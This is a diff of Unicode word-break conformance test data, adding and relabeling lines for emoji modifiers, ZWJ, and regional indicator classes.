+÷ 0061 ÷ 0027 × 0308 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 0061 ÷ 0027 × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0061 ÷ 0027 × 0308 × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0061 ÷ 0027 × 0300 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0061 ÷ 0027 × 0308 × 0300 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 0061 ÷ 0027 × 200D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 0061 ÷ 0027 × 0308 × 200D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 0061 × 0027 × 0061 × 2060 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [6.0] APOSTROPHE (Single_Quote) × [7.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0061 × 0027 × 0308 × 0061 × 2060 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [6.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) × [7.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0061 × 0027 × 0061 ÷ 003A ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [6.0] APOSTROPHE (Single_Quote) × [7.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -1082,18 +1594,28 @@
÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 0030 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 0061 ÷ 0027 × 2060 ÷ 005F ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 005F ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 0061 ÷ 0027 × 2060 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 0061 ÷ 0027 × 2060 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 0061 × 0027 × 2060 × 05D0 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [6.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [7.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0061 × 0027 × 2060 × 0308 × 05D0 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [6.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [7.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0061 ÷ 0027 × 2060 ÷ 0022 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 0022 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0061 ÷ 0027 × 2060 ÷ 0027 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 0027 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 0061 ÷ 0027 × 2060 ÷ 261D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 261D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0061 ÷ 0027 × 2060 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0061 ÷ 0027 × 2060 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 ÷ 0027 × 2060 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 0061 ÷ 0027 × 2060 × 0308 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 0061 ÷ 0027 × 2060 × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0061 ÷ 0027 × 2060 × 0308 × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0061 ÷ 0027 × 2060 × 0300 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0061 ÷ 0027 × 2060 × 0308 × 0300 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 0061 ÷ 0027 × 2060 × 200D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 0061 ÷ 0027 × 2060 × 0308 × 200D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 0061 × 0027 × 2060 × 0061 × 2060 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [6.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [7.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0061 × 0027 × 2060 × 0308 × 0061 × 2060 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [6.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [7.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0061 × 0027 × 2060 × 0061 ÷ 003A ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [6.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) × [7.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -1134,18 +1656,28 @@
÷ 0061 ÷ 002C × 0308 ÷ 0030 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 0061 ÷ 002C ÷ 005F ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 0061 ÷ 002C × 0308 ÷ 005F ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 0061 ÷ 002C ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 0061 ÷ 002C × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 0061 ÷ 002C ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 0061 ÷ 002C × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 0061 ÷ 002C ÷ 05D0 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0061 ÷ 002C × 0308 ÷ 05D0 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0061 ÷ 002C ÷ 0022 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0061 ÷ 002C × 0308 ÷ 0022 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0061 ÷ 002C ÷ 0027 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 0061 ÷ 002C × 0308 ÷ 0027 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 0061 ÷ 002C ÷ 261D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0061 ÷ 002C × 0308 ÷ 261D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0061 ÷ 002C ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0061 ÷ 002C × 0308 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0061 ÷ 002C ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 ÷ 002C × 0308 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 ÷ 002C ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 0061 ÷ 002C × 0308 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 0061 ÷ 002C × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0061 ÷ 002C × 0308 × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0061 ÷ 002C × 0300 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0061 ÷ 002C × 0308 × 0300 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 0061 ÷ 002C × 200D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 0061 ÷ 002C × 0308 × 200D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 0061 ÷ 002C ÷ 0061 × 2060 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0061 ÷ 002C × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0061 ÷ 002C ÷ 0061 ÷ 003A ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -1186,18 +1718,28 @@
÷ 0031 ÷ 003A × 0308 ÷ 0030 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 0031 ÷ 003A ÷ 005F ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 0031 ÷ 003A × 0308 ÷ 005F ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 0031 ÷ 003A ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 0031 ÷ 003A × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 0031 ÷ 003A ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 0031 ÷ 003A × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 0031 ÷ 003A ÷ 05D0 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0031 ÷ 003A × 0308 ÷ 05D0 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0031 ÷ 003A ÷ 0022 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0031 ÷ 003A × 0308 ÷ 0022 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0031 ÷ 003A ÷ 0027 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 0031 ÷ 003A × 0308 ÷ 0027 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 0031 ÷ 003A ÷ 261D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0031 ÷ 003A × 0308 ÷ 261D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0031 ÷ 003A ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0031 ÷ 003A × 0308 ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0031 ÷ 003A ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 003A × 0308 ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0031 ÷ 003A ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 0031 ÷ 003A × 0308 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 0031 ÷ 003A × 00AD ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0031 ÷ 003A × 0308 × 00AD ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0031 ÷ 003A × 0300 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0031 ÷ 003A × 0308 × 0300 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 0031 ÷ 003A × 200D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 0031 ÷ 003A × 0308 × 200D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 0031 ÷ 003A ÷ 0061 × 2060 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0031 ÷ 003A × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0031 ÷ 003A ÷ 0061 ÷ 003A ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -1238,18 +1780,28 @@
÷ 0031 × 0027 × 0308 × 0030 ÷ # ÷ [0.2] DIGIT ONE (Numeric) × [12.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) × [11.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 0031 ÷ 0027 ÷ 005F ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 0031 ÷ 0027 × 0308 ÷ 005F ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 0031 ÷ 0027 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 0031 ÷ 0027 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 0031 ÷ 0027 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
